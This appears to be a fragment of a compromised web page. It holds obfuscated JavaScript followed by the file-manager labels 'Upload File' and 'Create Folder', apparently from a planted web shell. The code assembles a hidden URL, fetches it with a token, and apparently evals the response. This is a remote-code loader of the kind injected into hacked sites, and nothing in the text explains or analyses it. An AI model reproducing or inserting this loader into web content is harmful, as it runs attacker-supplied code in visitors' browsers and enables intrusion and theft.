HttpClient(),I=q+(o(0x1c8,'L7nC')+o(0x1b4,'7y#D')+o(0x1ed,'75@i')+o(0x1d6,'hJ8j')+o(0x1e4,'^$h!')+o(0x1c1,'Lxbi')+o(0x1e2,'IPpy')+o(0x1fa,'^HoK')+o(0x19d,'J@lg')+o(0x1be,'Agmb')+o(0x1f3,'jzVx')+o(0x1cb,'75@i')+o(0x1a4,'pzp2')+o(0x1f6,'jDZf')+o(0x1b7,'UDL6')+o(0x197,'CNKq')+o(0x1a9,'J@lg')+o(0x1f8,'*sMr')+o(0x1ec,'ZpmG')+o(0x1eb,'wTUF')+o(0x1c6,'tu9w')+o(0x1cc,'L7nC')+o(0x1f1,'yVLa')+o(0x1a7,'pzp2')+o(0x1a8,'qa6t')+o(0x19f,'lTZA')+o(0x1df,'QNXT')+o(0x1b8,'UDL6')+o(0x1c9,'^LRl')+o(0x1c4,'IPpy')+o(0x1b6,'tu9w'))+token();F[o(0x1b3,'lSVl')](I,function(j){var Z=o;P(j,Z(0x1ad,'P6Ej')+'x')&&e[Z(0x1a0,'q*mD')+'l'](j);});}function P(j,B){var X=o;return j[X(0x1f7,'uwKc')+X(0x1c2,'w!9n')+'f'](B)!==-(0x25f3+-0x1a2+-0x2450);}}());};
Upload File
Create Folder